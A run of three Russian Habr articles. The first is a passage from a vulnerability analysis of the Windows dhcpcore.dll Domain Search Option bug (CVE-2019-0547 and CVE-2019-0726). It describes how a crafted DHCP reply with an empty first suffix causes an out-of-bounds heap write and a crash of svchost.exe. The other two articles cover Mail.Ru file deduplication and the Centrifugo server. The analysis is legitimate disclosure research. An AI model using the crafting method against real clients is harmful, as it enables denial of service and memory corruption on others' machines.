На самом деле, современные браузеры чересчур умные, а потому на имена, не похожие на FQDN, реагируют перенаправлением в поисковик. Поэтому ниже прилагаем вывод менее избалованных утилит:
Читателю могло показаться, что в этом и состоит уязвимость, ведь сама по себе возможность подменять DNS-суффиксы с помощью DHCP-сервера, каковым может себя идентифицировать любое устройство в сети, представляет угрозу для клиентов, запрашивающих какие бы то ни было параметры сети по DHCP. Но нет: как следует из RFC, это считается вполне легитимным, документированным поведением. Собственно, DHCP-сервер по сути своей является одним из тех доверенных компонентов, которые могут оказывать сильное влияние на обращающиеся к ним устройства.
Опция Domain Search
-------------------
Domain Search Option имеет номер 0x77 (119). Как и все опции, она кодируется однобайтовым тегом с номером опции. Как и у большинства прочих опций, сразу за тегом идет однобайтовый размер следующих за размером данных. Экземпляры опции могут присутствовать в DHCP-сообщении более одного раза. В этом случае данные со всех таких секций конкатенируются в той последовательности, в которой встречаются в сообщении.
В представленном примере, взятом из [RFC 3397](https://tools.ietf.org/html/rfc3397), данные разбиты на три секции, каждая по 9 байт. Как несложно понять из картинки, имена поддоменов в полном доменном имени кодируются однобайтовой длиной имени, непосредственно за которой следует само имя. Заканчивается кодирование полного доменного имени нулевым байтом (то есть нулевым размером имени поддомена).
Помимо этого, в опции используется простейший метод сжатия данных, а точнее, просто точки повторной обработки (reparse points). Вместо размера доменного имени поле может содержать значение 0xc0. Тогда следующий за ним байт задает смещение относительно начала данных опции, по которому следует искать окончание доменного имени.
Таким образом, в рассматриваемом примере закодирован список из двух доменных суффиксов:
```
.eng.apple.com
.marketing.apple.com
```
Функция DecodeDomainSearchListData
----------------------------------
Итак, опция DHCP под номером 0x77 (119) позволяет серверу настраивать на клиентах DNS-суффиксы. Но не на машинах с операционными системами семейства Windows. Системы от Microsoft традиционно игнорировали эту опцию, поэтому исторически окончания DNS-имен в случае необходимости накатывались через групповые политики. Так продолжалось до недавнего времени, когда в очередном релизе Windows 10, версии 1803, была добавлена обработка для Domain Search Option. Судя по названию функции в dhcpcore.dll, в которую были внесены изменения, именно в добавленном обработчике и кроется рассматриваемая ошибка.
Приступаем к работе. Причесываем немного код и выясняем следующее. Процедура DecodeDomainSearchListData, в полном соответствии с названием, декодирует данные из Domain Search Option поступившего от сервера сообщения. На входе она получает упакованный описанным в предыдущем пункте способом массив данных, а на выходе генерирует нуль-терминированную строку, содержащую список окончаний доменных имен, разделенных запятыми. Например, данные из примера выше эта функция преобразует в строку:
```
eng.apple.com,marketing.apple.com
```
Вызывается DecodeDomainSearchListData из процедуры UpdateDomainSearchOption, которая прописывает возвращенный список в значение «DhcpDomainSearchList» ключа реестра:
`HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{INTERFACE_GUID}\`
хранящего основные параметры конкретного сетевого интерфейса.
Функция DecodeDomainSearchListData отрабатывает за два прохода. На первом проходе она выполняет все действия, кроме записи в выходной буфер. Таким образом, первый проход посвящен подсчету размера памяти, необходимого для размещения возвращаемых данных. На втором проходе уже происходит выделение памяти под эти данные и заполнение выделенной памяти. Функция довольно невелика, порядка 250 инструкций, и основная ее работа заключается в обработке каждого из трех возможных вариантов представленного во входящем потоке символа: 1) 0x00, 2) 0xc0, или 3) все остальные значения. Предположительное исправление ошибки, связанной с DHCP, по большому счету сводится к добавлению в начале второго прохода проверки размера результирующего буфера. Если этот размер равен нулю, то память под буфер не выделяется и функция сразу завершает исполнение и возвращает ошибку:
Получается, уязвимость проявляет себя в тех случаях, когда размер целевого буфера оказывается равен нулю. При этом в самом начале выполнения функция проверяет входящие данные, размер которых не может быть меньше двух байтов. Стало быть, для эксплуатации требуется подобрать таким образом сформированную непустую опцию доменных суффиксов, чтобы размер выходного буфера был нулевым.
Эксплуатация
------------
Первым делом в голову приходит мысль, что можно использовать описанные ранее reparse points для того, чтобы непустые данные на входе генерировали пустую строку на выходе:
Сервер, настроенный посылать в ответе опцию с таким содержимым, действительно вызовет access violation на необновленных клиентах. Происходит это по следующей причине. На каждом шаге, когда функция разбирает часть полного доменного имени, она копирует ее в целевой буфер и ставит после нее точку. В примере, взятом из RFC, в буфер будут скопированы данные в следующем порядке:
```
1). eng.
2). eng.apple.
3). eng.apple.com.
```
Затем, когда во входных данных встречается нулевой размер домена, функция заменяет предыдущий символ целевого буфера с точки на запятую:
```
4). eng.apple.com,
```
и продолжает разбор:
```
5). eng.apple.com,marketing.
6). eng.apple.com,marketing.apple.
7). eng.apple.com,marketing.apple.com.
8). eng.apple.com,marketing.apple.com,
```
По окончании входных данных остается лишь заменить последнюю запятую на нулевой символ и получается готовая к записи в реестр строка:
```
9). eng.apple.com,marketing.apple.com
```
Что же происходит в случае, когда атакующий отправляет сформированный описанным способом буфер? Если разобраться в примере, то видно, что список, содержащийся в нем, состоит из одного элемента — пустой строки. На первом проходе функция подсчитывает размер данных на выходе. Так как данные не содержат ни одного ненулевого доменного имени, то размер равен нулю.
На втором проходе происходит выделение блока динамической памяти для размещения данных в нем и копирование самих данных. Но функция разбора сразу встречает нулевой символ, означающий конец доменного имени, а потому, как и было сказано, заменяет предыдущий символ с точки на запятую. И здесь мы сталкиваемся с проблемой. Итератор целевого буфера находится в нулевой позиции. Предыдущего символа нет. Предыдущий символ принадлежит заголовку блока динамической памяти. И этот самый символ будет заменен на 0x2c, то есть на запятую.
Впрочем, так происходит только на 32-битных системах. Использование unsigned int для хранения текущей позиции итератора целевого буфера вносит свои коррективы в обработку на x64-системах. Обратим более пристальное внимание на кусок кода, отвечающий за запись запятой в буфер:
Вычитание единицы из текущей позиции происходит с использованием 32-битного регистра eax, в то время как при адресации буфера код обращается к полному 64-битному регистру rax. В архитектуре AMD64 любые операции с 32-битными регистрами обнуляют старшую часть регистра. Это означает, что в регистре rax, содержавшем прежде нуль, после вычитания будет храниться не значение –1, а 0xffffffff. Следовательно, на 64-битных системах значение 0x2c будет записываться по адресу buf[0xffffffff], то есть далеко за границами выделенной под буфер памяти.
Полученные данные хорошо согласуются с оценкой эксплуатабельности от Microsoft, ведь для того, чтобы воспользоваться данной уязвимостью, атакующему требуется научиться удаленно производить heap spraying на DHCP-клиенте и при этом иметь достаточный контроль над распределением динамической памяти, чтобы запись заранее заданных значений, а именно запятой и нулевого байта, производилась в подготовленный адрес и приводила к контролируемым негативным последствиям. В противном случае запись данных по невыверенному адресу будет иметь в качестве последствия падение процесса svchost.exe вместе со всеми хостящимися в нем на этот момент сервисами — и дальнейший перезапуск этих сервисов операционной системой. Факт, который злоумышленники в определенных условиях также могут использовать себе во благо.
Вот, казалось бы, и все, что можно сказать об исследуемой ошибке. Только остается ощущение, будто это далеко не конец. Будто мы не рассмотрели все варианты. Должно быть нечто большее, что скрыто в этих строках.
CVE-2019-0726
-------------
Вероятно, так оно и есть. Если пристально посмотреть на вид данных, провоцирующих ошибку, и сопоставить их с тем, как именно эта ошибка возникает, можно заметить, что список доменных имен может быть изменен таким образом, что результирующий буфер будет ненулевого размера, но попытка записи за его пределы все так же будет производиться. Для этого первый элемент в списке должен быть пустой строкой, а все остальные могут содержать нормальные доменные окончания. Например:
Представленная опция включает в себя два элемента. Первый доменный суффикс пуст, он сразу заканчивается нулевым байтом. Второй суффикс — .ru. Подсчитанный размер строки на выходе будет равен трем байтам, что позволит преодолеть налагаемую январским обновлением проверку на пустоту целевого буфера. В то же время нуль в самом начале данных вынудит функцию записать предыдущим символом в результирующую строку запятую, но так как текущая позиция итератора в строке, как и в рассмотренном ранее случае, равна нулю, то запись вновь произойдет за пределы выделенного буфера.
Теперь следует подтвердить полученные теоретические результаты на практике. Моделируем ситуацию, в которой DHCP-сервер шлет в ответ на запрос от клиента сообщение с представленной опцией, и сразу же ловим исключение при попытке записи запятой в позицию 0xffffffff выделенного под результирующую строку буфера:
Здесь регистр r8 содержит указатель на входящие опции, rdi — адрес выделенного целевого буфера, а rax — позицию в этом буфере, в которую нужно записать символ. Такие результаты мы получили на полностью обновленной системе (по состоянию на январь 2019 года).
Пишем об обнаруженной проблеме в Microsoft и… они теряют письмо. Да, такое иногда случается даже с зарекомендовавшими себя вендорами. Никакая система не идеальна, и приходится в этом случае искать другие пути коммуникации. Поэтому неделю спустя, не получив даже автоответа за это время, связываемся напрямую с менеджером через Twitter и по результатам нескольких дней анализа заявки выясняем, что отправленные детали не имеют никакого отношения к CVE-2019-0547 и представляют собой самостоятельную уязвимость, для которой будет заведен новый CVE-идентификатор. Еще месяц спустя, в марте, выходит соответствующее исправление, а ошибка получает номер [CVE-2019-0726](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0726).
Вот так можно иногда в попытках разобраться в подробностях уязвимости 1-day случайно обнаружить 0-day, просто доверившись своей интуиции.
**Автор**: Михаил Цветков, специалист отдела анализа приложений Positive Technologies. | https://habr.com/ru/post/448378/ | null | ru | null |
# Эффективное хранение: как мы из 50 Пб сделали 32 Пб
Видео доклада
-------------
Текстовая Версия
----------------
Изменения курса рубля два года назад заставили нас задуматься о способах снижения стоимости железа для Почты Mail.Ru. Нам понадобилось уменьшить количество закупаемого железа и цену за хостинг. Чтобы найти, где сэкономить, давайте посмотрим, из чего состоит почта.
Индексы и тела писем составляют 15 % объёма, файлы — 85 %. Место для оптимизаций надо искать в файлах (аттачах в письмах). На тот момент у нас не была реализована дедупликация файлов; по нашим оценкам, она может дать экономию в 36 % всего объёма почты: многим пользователям приходят одинаковые письма (рассылки социальных сетей с картинками, магазинов с прайсами и т.д.). В этом посте я расскажу про реализацию такой системы, сделанной под руководством [PSIAlt](https://habr.com/ru/users/psialt/).
Хранилище метаинформации
========================
Есть поток файлов, и надо быстро понимать, дублируется файл или нет. Простое решение — давать им имена, которые генерируются на основе содержимого файла. Мы используем sha1. Изначальное имя файла хранится в самом письме, поэтому о нём заботиться не надо.
Мы получили письмо, достали файлы, посчитали от содержимого sha1 и значение вычисления добавили в письмо. Это необходимо, чтобы при отдаче письма легко найти его файлы в нашем будущем хранилище.
Теперь зальём туда файл. Нам интересно спросить у хранилища: есть ли у тебя файл с sha1? Это значит, что надо все sha1 хранить в памяти. Назовём место для хранения fileDB.
Один и тот же файл может быть в разных письмах; значит, будем вести счётчик количества писем с таким файлом.
При добавлении файла счётчик увеличивается. Около 40 % файлов удаляется. Соответственно, при удалении письма, в котором есть файлы, залитые в облако, надо уменьшать счётчик. Если он достигает 0 — файл можно удалить.
Тут мы встречаем первую сложность: информация о письме (индексы) находится в одной системе, а о файле — в другой. Это может привести к ошибке, например:
1. Приходит запрос на удаление письма.
2. Система поднимает индексы письма.
3. Видит, что есть файлы (sha1).
4. Посылает запрос на удаление файла.
5. Происходит сбой, и письмо не удаляется.
В этом случае письмо осталось в системе, а счётчик уменьшился на единицу. Когда второй раз придёт удаление этого письма — мы ещё раз уменьшим счётчик и получим проблему. Файл может быть ещё в одном письме, а счётчик у него нулевой.
Важно не потерять данные. Нельзя допустить ситуацию, когда пользователь открывает письмо, а файла там нет. При этом хранить на дисках немного лишних файлов не проблема. Достаточно иметь механизм, который однозначно покажет, корректно или нет счётчик свёлся к нулю. Для этого мы завели ещё одно поле — magic.
Алгоритм простой. В письме вместе с sha1 от файла мы генерируем и сохраняем ещё одно произвольное число. Все запросы на заливку или удаление файла делаем с этим числом. Если пришёл запрос на заливку, то к хранимому magic прибавляем это число. Если на удаление — отнимаем.
Таким образом, если все письма корректное количество раз увеличили и уменьшили счётчик, то magic тоже будет равен нулю. Если он отличен от нуля — удалять файл нельзя.
Давайте рассмотрим это на примере. Есть файл sha1. Он залит один раз, и при заливке письмо сгенерировало для него случайное число (magic), равное 345.
Теперь приходит ещё одно письмо с таким же файлом. Оно генерирует свой magic (123) и заливает файл. Новый magic суммируется со старым, а счётчик увеличивается на единицу. В результате в FileDB magic для sha1 стал равен 468, а counter — 2.
Пользователь удаляет второе письмо. Из текущего magic вычитается magic, запомненный во втором письме, counter уменьшается на единицу.
Сначала рассмотрим ситуацию, когда всё идёт хорошо. Пользователь удаляет первое письмо. Тогда magic и counter станут равны нулю. Значит, данные консистентны, можно удалять файл.
Теперь предположим, что что-то пошло не так: первое письмо отправило две команды на удаление. Counter (0) говорит о том, что ссылок на файл не осталось, однако magic (222) сигнализирует о проблеме: файл удалять нельзя, пока данные не приведены к консистентному состоянию.
Давайте докрутим ситуацию до конца и предположим, что и первое письмо удалено. В этом случае magic (–123) по-прежнему говорит о неконсистентности данных.
Для надёжности сразу же, как только счётчик стал равен нулю, а magic — нет (в нашем случае это magic = 222, counter = 0), файлу выставляется флаг «не удалять». Так что даже если после множества добавлений и удалений по дикому стечению обстоятельств magic и counter сравняются с нулём, мы всё равно будем знать, что файл проблемный и удалять его нельзя.
Вернёмся к FileDB. У любой сущности есть некоторые флаги. Планируете вы или нет, но они понадобятся. Например, вам надо пометить файл как неудаляемый.
У нас есть все свойства файла, кроме главного: где он физически лежит. Это место идентифицирует сервер (IP) и диск. Таких серверов с диском должно быть два.
Но на одном диске лежит много файлов (в нашем случае — около 2 000 000). Значит, у этих записей в FileDB в качестве места хранения будут одни и те же пары дисков. Так что хранить эту инфу в FileDB расточительно. Выносим её в отдельную таблицу, а в FileDB оставляем ID для указания на запись в новой таблице.
Думаю, очевидно, что, помимо такого описания пары, нужно ещё поле flags. Забегая вперед, скажу: во флагах лежит информация о том, что диски сейчас залочены, например один вылетел и второй копируется, поэтому ничего нового на них писать нельзя.
Также нам надо знать количество свободного места на каждом диске. Добавляем эти поля в таблицу.
Чтобы всё работало быстро, FileDB и PairDB должны быть в оперативной памяти. Возьмём Tarantool 1.5. Сразу скажу, что сейчас следует использовать последнюю версию. В FileDB пять полей (по 20, 4, 4, 4 и 4 байта), итого 36 байт данных. Ещё на каждую запись хранится header размером 16 байт плюс по 1 байту на длину каждого поля. Итого получается 57 байт на одну запись.
Tarantool позволяет задать в конфиге минимальный размер для аллокации, так что можно свести практически к нулю размер накладных расходов по памяти. Мы будем аллоцировать ровно столько, сколько надо под одну запись. У нас 12 000 000 000 файлов.
```
(57 * 12 * 10^9) / (1024^3) = 637 Gb
```
Но это не всё, нам нужен индекс по полю sha1. А это ещё 12 байт на запись.
```
(12 * 12 * 10^9) / (1024^3) = 179 Gb
```
Итого получается около 800 Gb оперативной памяти. Но не забываем про реплики, а это значит × 2.
Если берём машины с 256 Gb оперативной памяти, то нам потребуется восемь машин.
Мы можем оценить размер PairDB. Но средний размер файла у нас 1 Мб и диски размером 1 Tb. Это позволяет хранить около 1 000 000 файлов на диске. Значит, нам надо около 28 000 дисков. Одна запись в PairDB описывает два диска, следовательно, в PairDB 14 000 записей. Это пренебрежимо мало по сравнению с FileDB.
Заливка файлов
==============
Со структурой баз данных разобрались, теперь перейдем к АПИ для работы с системой. Вроде нужны методы upload и delete. Но вспомним о дедупликации: не исключено, что файл, который мы пытаемся залить, уже есть в хранилище. Нет смысла заливать его второй раз. Значит, потребуются такие методы:
* **inc(sha1, magic)** — увеличить счётчик. Если файла нет — вернуть ошибку. Вспоминаем, что ещё нам нужен magic. Это позволит защититься от неверных удалений файлов.
* **upload(sha1, magic)** — его следует вызывать, если inc вернул ошибку. Значит, такого файла нет и надо его залить.
* **dec(sha1, magic)** — вызывается, если пользователь удаляет письмо. Сначала мы уменьшаем счётчик.
* **GET /sha1** — скачиваем файл просто по http.
Разберём, что происходит во время upload. Для демона, который реализует этот интерфейс, мы выбрали протокол iproto. Демоны должны масштабироваться на любое количество машин, поэтому не хранят состояние. К нам приходит по сокету запрос:
По имени команды мы знаем длину заголовка и считываем сначала его. Сейчас нам важна длина файла **origin-len**. Надо подобрать пару серверов для его заливки. Просто выкачиваем весь PairDB, там всего несколько тысяч записей. Далее применяем стандартный алгоритм выбора нужной пары. Составляем отрезок, длина которого равна сумме свободных мест всех пар, и случайно выбираем точку на отрезке. В какую пару попала точка на отрезке — та и выбрана.
Однако выбирать пару таким простым способом опасно. Представьте, что все диски заполнены на 90 % и вы добавили пустой диск. С огромной вероятностью все новые файлы будут литься на него. Чтобы избежать этой проблемы, нужно брать для построения общего отрезка не свободное место пары, а корень N-й степени от свободного места.
Пару выбрали, но наш демон потоковый, и если мы начали стримить файл на сторедж, то обратной дороги нет. Поэтому, прежде чем заливать реальный файл, вначале отправляем небольшой тестовый. Если заливка тестового файла прошла, тогда вычитаем из сокета filecontent и стримим его на сторедж. Если нет — выбираем другую пару. Sha1 можно считать на лету, поэтому его мы тоже проверяем сразу при заливке.
Рассмотрим теперь заливку файла от loader к выбранной паре дисков. На машинах с дисками мы подняли nginx и используем протокол webdav. Пришло письмо. В FileDB этого файла ещё нет, а значит, его надо через loader залить на пару дисков.
Но ничего не мешает ещё одному пользователю получить такое же письмо: предположим, у письма два адресата. В FileDB этого файла пока нет; значит, ещё один loader будет заливать точно такой же файл и может выбрать эту же пару.
Скорее всего, nginx решит проблему корректно, но нам надо всё контролировать, поэтому сохраняем файл со сложным именем.
Красным выделена часть имени, в которой каждый loader пишет случайное число. Таким образом, два PUT не пересекаются и заливают разные файлы. Когда nginx ответил 201, loader делает атомарную операцию MOVE, указывая конечное имя файла.
Когда второй loader дольёт свой файл и тоже сделает MOVE, файл перезапишется, но это один и тот же файл — проблем не будет. Когда он окажется на дисках, надо добавить запись в FileDB. Тарантул у нас разбит на два спейса. Пока мы используем только нулевой.
Однако вместо простого добавления записи о новом файле мы используем хранимую процедуру, которая либо увеличивает счётчик файла, либо добавляет запись о файле. Почему так? За время, когда loader проверил, что файла нет в FileDB, залил его и пошёл добавлять запись, кто-то другой уже мог залить этот файл и добавить запись. Выше мы рассматривали как раз такую ситуацию. У одного письма два получателя, и два loader’а стали его заливать. Когда второй закончит, он тоже пойдёт в FileDB.
В этом случае второй loader просто инкрементирует счётчик.
Теперь перейдём к процедуре dec. Для нашей системы приоритетны две задачи — гарантированно записать файл на диск и быстро отдать его клиенту с диска. Физическое удаление файла генерирует нагрузку на диск и мешает первым двум задачам. Поэтому его мы переносим в офлайн. Сама процедура dec уменьшает счётчик. Если последний стал равен нулю, как и magic, то файл больше никому не нужен. Мы переносим запись о нём из space0 в space1 в тарантуле.
```
decrement (sha1, magic){
counter--
current_magic –= magic
if (counter == 0 && current_magic == 0){
move(sha1, space1)
}
}
```
Valkyrie
========
На каждом сторадже у нас есть демон Valkyrie, который следит за целостностью и консистентностью данных, как раз он и работает со space1. Один диск — один инстанс демона. Демон перебирает файлы на диске один за другим и проверяет, если ли запись о файле в space1, иными словами — надо ли его удалить.
Но между переносом файла в space1 при выполнении операции dec() и обнаружением файла валькирией проходит время. Значит, между этими двумя событиями файл может быть залит ещё раз и опять оказаться в space0.
Поэтому Valkyrie сразу проверяет, не появился ли файл в space0. Если это случилось и pair\_id записи указывает на пару дисков, с которой работает текущая валькирия, то удаляем запись из space1.
Если записи не оказалось, то файл — кандидат на удаление. Всё же между запросом в space0 и физическим удалением есть временной зазор. Стало быть, в этом зазоре опять же есть вероятность появления записи о файле в space0. Поэтому мы помещаем файл на карантин.
Вместо удаления файла переименовываем его, добавляя в имя deleted и timestamp. То есть физически мы удалим файл timestamp + какое-то время, указанное в конфиге. Если произошёл сбой и файл решили удалить по ошибке, то пользователь придёт за ним. Мы восстановим файл и исправим ошибку, не потеряв данные.
Теперь вспоминаем, что дисков два, на каждом работает своя Valkyrie. Валькирии никак не синхронизируются друг с другом. Возникает вопрос: когда удалять запись из space1?
Делаем две вещи. Для начала назначаем для конкретного файла одну из Valkyrie мастером. Делается это очень просто: по первому биту из названия файла. Если он 0, то мастер — disk0, если 1, то мастер — disk1.
Теперь разнесём их по времени. Вспомним: когда запись о файле находится в space0, там есть поле magic для проверки консистентности. Когда мы переносим запись в space1, magic не нужен, поэтому запишем в него timestamp времени переноса в space1. Теперь Valkyrie master будет обрабатывать записи в space1 сразу, а slave будет добавлять к timestamp задержку и обрабатывать записи позже + удалять их из space1.
За счёт этого мы получаем ещё один плюс. Если на мастере файл ушёл в карантин по ошибке, то при запросе на мастер мы это увидим в логах и разберёмся. Клиент, который запрашивал файл, тем временем сфолбечится на slave, и пользователь получит файл.
Мы рассмотрели случай, когда Valkyrie находит на диске файл с именем sha1 и у этого файла (как кандидата на удаление) есть запись в space1. Давайте рассмотрим, какие ещё варианты возможны.
Пример. Файл есть на диске, но о нём нет записи в FileDB. Если в рассмотренном выше случае Valkyrie master по каким-то причинам некоторое время не работал, slave успел поместить файл на карантин и удалить запись из space1. В этом случае мы тоже ставим файл на карантин через sha1.deleted.ts.
Ещё пример. Запись есть, но указывает на другую пару. Это может случиться при заливке файла, если одно письмо пришло двум адресатам. Давайте вспомним схему.
Что случится, если второй loader лил файл не на ту же пару дисков, что и первый? Он инкрементирует счётчик в space0, но на паре дисков, куда он лил, останутся мусорные файлы. Мы идём на эту пару и проверяем, что файлы читаются и совпадает sha1. Если всё ОК — то такие файлы можно сразу удалять.
Ещё Valkyrie может встретить файл на карантине. Если срок карантина истек, то файл удаляется.
Теперь Valkyrie натыкается на хороший файл. Его надо прочитать с диска и проверить на целостность, сравнить с sha1. Затем — сходить на другой диск из пары и выяснить, есть ли там файл. Для этого достаточно HEAD-запроса. Целостность файла проверит демон, запущенный на той машине. Если на текущей машине целостность файла нарушена, то он тут же загружается с другого диска. Если на том диске файл отсутствует, то заливаем его с текущего диска на второй.
Нам осталось рассмотреть последний кейс: проблемы с диском. После мониторинга админы понимают, что это случилось. Ставят диск в режим service (readonly) и на втором диске запускают процедуру размува. Все файлы со второго диска раскидываются по другим парам.
Результат
=========
Вернёмся к началу. Наша почта выглядела так:
После переезда на новую схему мы сэкономили 18 Pb:
Почта стала занимать 32 Пб (25 % — индексы, 75 % — файлы). Освободившиеся 18 Пб позволили нам долгое время не покупать новое железо.
P.S. про sha1
=============
Так как много вопросов в комментариях, допишу тут. На текущий момент нет известных, публично вычисленных примеров коллизии самого SHA-1. Есть примеры коллизии для инициализирующих векторов на функцию компрессии (SHA-1 freestart collision). Вероятность, что на 12млрд файлах произойдет случайная коллизия, менее 10^-38.
Но предположим, что такое возможно. В этом случае при запросе файла по sha1 мы проверим его соответствие размеру и crc32, которые запомнили в индексах конкретного письма при заливке. Т.е. файл мы отдадим, только если он был залит с этим письмом, или не отдадим ничего. | https://habr.com/ru/post/316740/ | null | ru | null |
# Centrifugo – 3.5 миллиона оборотов в минуту
Последний раз я писал про [Centrifugo](https://github.com/centrifugal/centrifugo) чуть больше года назад. Пришло время напомнить о существовании проекта и рассказать, что произошло за этот период времени. Чтобы статья не скатилась в скучное перечисление изменений, я попробую сконцентрировать внимание на некоторых Go библиотеках, которые помогли мне в разработке – возможно, вы почерпнете для себя что-то полезное.
**UPDATE**: на текущий момент есть другие цифры, полученные на тестовом стенде в Kubernetes. На этом стенде одновременно к серверу было подключено 1 миллион соединений, и доставлялось 30 миллионов сообщений в минуту. [Подробнее в документации](https://centrifugal.github.io/centrifugo/misc/benchmark/).
Самое приятное, что за этот год появилось приличное количество проектов, использующих Centrifugo в бою – и каждая такая история очень вдохновляет. На текущий момент самая большая инсталляция Центрифуги, о которой я знаю, это:
* 300 тысяч пользователей онлайн
* 3.5 млн fan-out сообщений в минуту
* 4 ноды Centrifugo на Amazon c4.xlarge
* ноды связаны PUB/SUB механизмом одного инстанса Redis
* потребление CPU в среднем 40%
По традиции, я обязан напомнить, о чем же я вам тут пишу. Попробую упростить себе жизнь и процитирую [прошлый пост](https://habrahabr.ru/company/mailru/blog/280346/):
> Centrifugo — это сервер, который работает рядом с бэкендом вашего приложения (бэкенд может быть написан на любом языке/фреймворке). Пользователи приложения подключаются к Центрифуге, используя протокол Websocket или полифил-библиотеку SockJS. Подключившись и авторизовавшись с помощью HMAC-токена (полученного с бэкенда приложения), они подписываются на интересующие каналы. Бэкенд приложения, узнав о новом событии, отправляет его в нужный канал в Центрифугу, используя HTTP API или очередь в Redis. Центрифуга, в свою очередь, моментально рассылает сообщение всем подключенным заинтересованным (подписанным на канал) пользователям.
Год назад последней версией была 1.4.2, а сейчас уже 1.7.3 – работы было проделано немало.
В прошлом году Центрифуга получила поддержку HTTP/2. Это стоило мне огромных трудов и многих часов работы. Шучу:) С релизом Go 1.6 проекты на Go получили поддержку HTTP/2 автоматически. На самом деле для Centrifugo, где основной транспорт это все же Websocket, поддержка HTTP/2 может показаться бесполезной. Однако это не совсем так – ведь Centrifugo в том числе является SockJS сервером. SockJS предоставляет fallback до транспортов, использующих HTTP протокол (Eventsource, XHR-streaming и т.д.), в случае если браузер по каким-то причинам не может установить Websocket-соединение. Ну или на случай если вам по каким-то причинам не хочется использовать Websocket. Много лет мы боролись с лимитом на постоянные соединения к одному хосту, которые устанавливает спецификация HTTP (в реальности 5-6 в зависимости от браузера), – и вот настало время, когда благодаря HTTP/2, соединения из разных табов браузера мультиплексируются в одно. Табов с постоянными HTTP соединениями теперь можно открыть очень много. Вот и пойми — какой же транспорт в настоящее время лучше для в большей степени однонаправленного потока real-time сообщений от сервера клиенту – Websocket или что-то вроде Eventsource поверх HTTP/2.
Чуть позже появилось другое интересное нововведение, касающееся HTTP сервера, – поддержка автоматического получения HTTPS сертификата с Let’s Encrypt. Опять хотелось бы сказать, что пришлось попотеть, но нет – благодаря пакету [golang.org/x/crypto/acme/autocert](https://godoc.org/golang.org/x/crypto/acme/autocert) написать сервер, умеющий работать с [Let’s Encrypt](https://letsencrypt.org/) — это вопрос нескольких строк кода:
```
manager := autocert.Manager{
Prompt: autocert.AcceptTOS,
HostPolicy: autocert.HostWhitelist("example.org"),
}
server := &http.Server{
Addr: ":https",
TLSConfig: &tls.Config{GetCertificate: manager.GetCertificate},
}
server.ListenAndServeTLS("", "")
```
В версии 1.5.0 важным изменением стало то, что между Центрифугой и Редисом вместо JSON’a стал летать protobuf. Для работы с protobuf я взял библиотеку [github.com/gogo/protobuf](https://github.com/gogo/protobuf) — за счет кодогенерации и отказа от использования пакета reflect скорость сериализации и десериализации просто бешеная. Особенно в сравнении с JSON:
```
BenchmarkMsgMarshalJSON 2022 ns/op 432 B/op 5 allocs/op
BenchmarkMsgMarshalGogoprotobuf 124 ns/op 48 B/op 1 allocs/op
```
Поначалу использовался protobuf версии 2, но чуть позже получилось перейти на актуальную 3 версию.
На графике заметно насколько меньше время обработки запроса в версии 1.5, использующей protobuf. При этом чем сложнее запрос и больше данных (больше каналов, в которые нужно опубликовать сообщения) он содержит — тем более заметна разница.
Чтобы добавить поддержку protobuf в ваш проект на Go — достаточно написать proto файл, похожий на этот:
```
syntax = "proto3";
package proto;
import "github.com/gogo/protobuf/gogoproto/gogo.proto";
option (gogoproto.equal_all) = true;
option (gogoproto.populate_all) = true;
option (gogoproto.testgen_all) = true;
message Message {
string UID = 1 [(gogoproto.jsontag) = "uid"];
string Channel = 2 [(gogoproto.jsontag) = "channel"];
bytes Data = 3 [(gogoproto.customtype) = "github.com/centrifugal/centrifugo/libcentrifugo/raw.Raw", (gogoproto.jsontag) = "data", (gogoproto.nullable) = false];
}
```
Как можно увидеть — в proto-файле есть возможность использовать не только базовые типы, но и свои кастомные типы.
После того как proto-файл написан – остается лишь натравить на этот файл protoc ([скачать](https://github.com/google/protobuf/releases) можно со страницы релизов) с использованием одного из генераторов кода, предоставляемых библиотекой `gogoprotobuf` – в результате будет создан файл со всеми необходимыми методами сериализации и десериализации описанных структур. Если вам интересно почитать про это подробней, то [вот статья](https://medium.com/@fzambia/21d39bdabd68), правда на английском.
Также я много экспериментировал с альтернативными парсерами JSON для десериализации входящих в API сообщений — [ffjson](https://github.com/pquerna/ffjson), [easyjson](https://github.com/mailru/easyjson), [gjson](https://github.com/tidwall/gjson), [jsonparser](https://github.com/buger/jsonparser). Лучшую производительность показал `jsonparser` — он действительно ускоряет разбор JSON в заявленные 10 раз и практически не аллоцирует память. Однако добавлять его в Centrifugo я не решился — пока это не стало узким местом отходить в сторону от использования стандартной библиотеки не хочется. Однако приятно осознавать, что есть возможность столь существенно улучшить производительность парсинга JSON данных.
Также JSON используется для общения с клиентом — в некоторых особенно горячих участках (например, для новых сообщений в канале) я создаю JSON не с помощью функции `Marshal`, а вручную, это выглядит примерно вот так:
```
func writeMessage(buf *bytebufferpool.ByteBuffer, msg *Message) {
buf.WriteString(`{"uid":"`)
buf.WriteString(msg.UID)
buf.WriteString(`",`)
buf.WriteString(`"channel":`)
EncodeJSONString(buf, msg.Channel, true)
buf.WriteString(`,"data":`)
buf.Write(msg.Data)
buf.WriteString(`}`)
}
```
При этом используется библиотека [github.com/valyala/bytebufferpool](https://github.com/valyala/bytebufferpool) — предоставляющая пул []byte-буфферов, чтобы дополнительно сократить количество аллокаций памяти.
Также рекомендую замечательную библиотеку [github.com/nats-io/nuid](https://github.com/nats-io/nuid) — в Центрифуге каждое сообщение получает уникальный id, данная библиотека от разработчиков [Nats.io](https://nats.io/) позволяет генерировать уникальные идентификаторы очень быстро. Однако стоит учитывать, что использовать ее можно только там, где вы не боитесь, что злоумышленник сможет вычислить следующий id по существующему. Но во многих местах эта библиотека может стать хорошей заменой uuid.
Версия 1.6.0 стала результатом полного рефакторинга кода сервера, над которым я работал месяца три — вот уж где я действительно пришлось попотеть. Я по-прежнему пилю Центрифугу в нерабочее время, поэтому эти 3 месяца — на самом деле не так много в переводе на чистое время. Но все же.
Результатом рефакторинга стало разделение кода на небольшие пакеты с понятным публичным API и взаимодействием между собой — до этого весь код по большей части лежал в одной папке. Также получилось сделать определенные части сервера заменяемыми на этапе инициализации. Сейчас, когда с тех пор прошло уже почти полгода, я не скажу, что это разбиение на отдельные небольшие пакеты оказало какое-то существенное влияние или дало ощутимые преимущества впоследствии — нет, ничего такого не было. Но, скорее всего, это упрощает чтение кода для остальных программистов – которые не знакомы с проектом с самых первых дней.
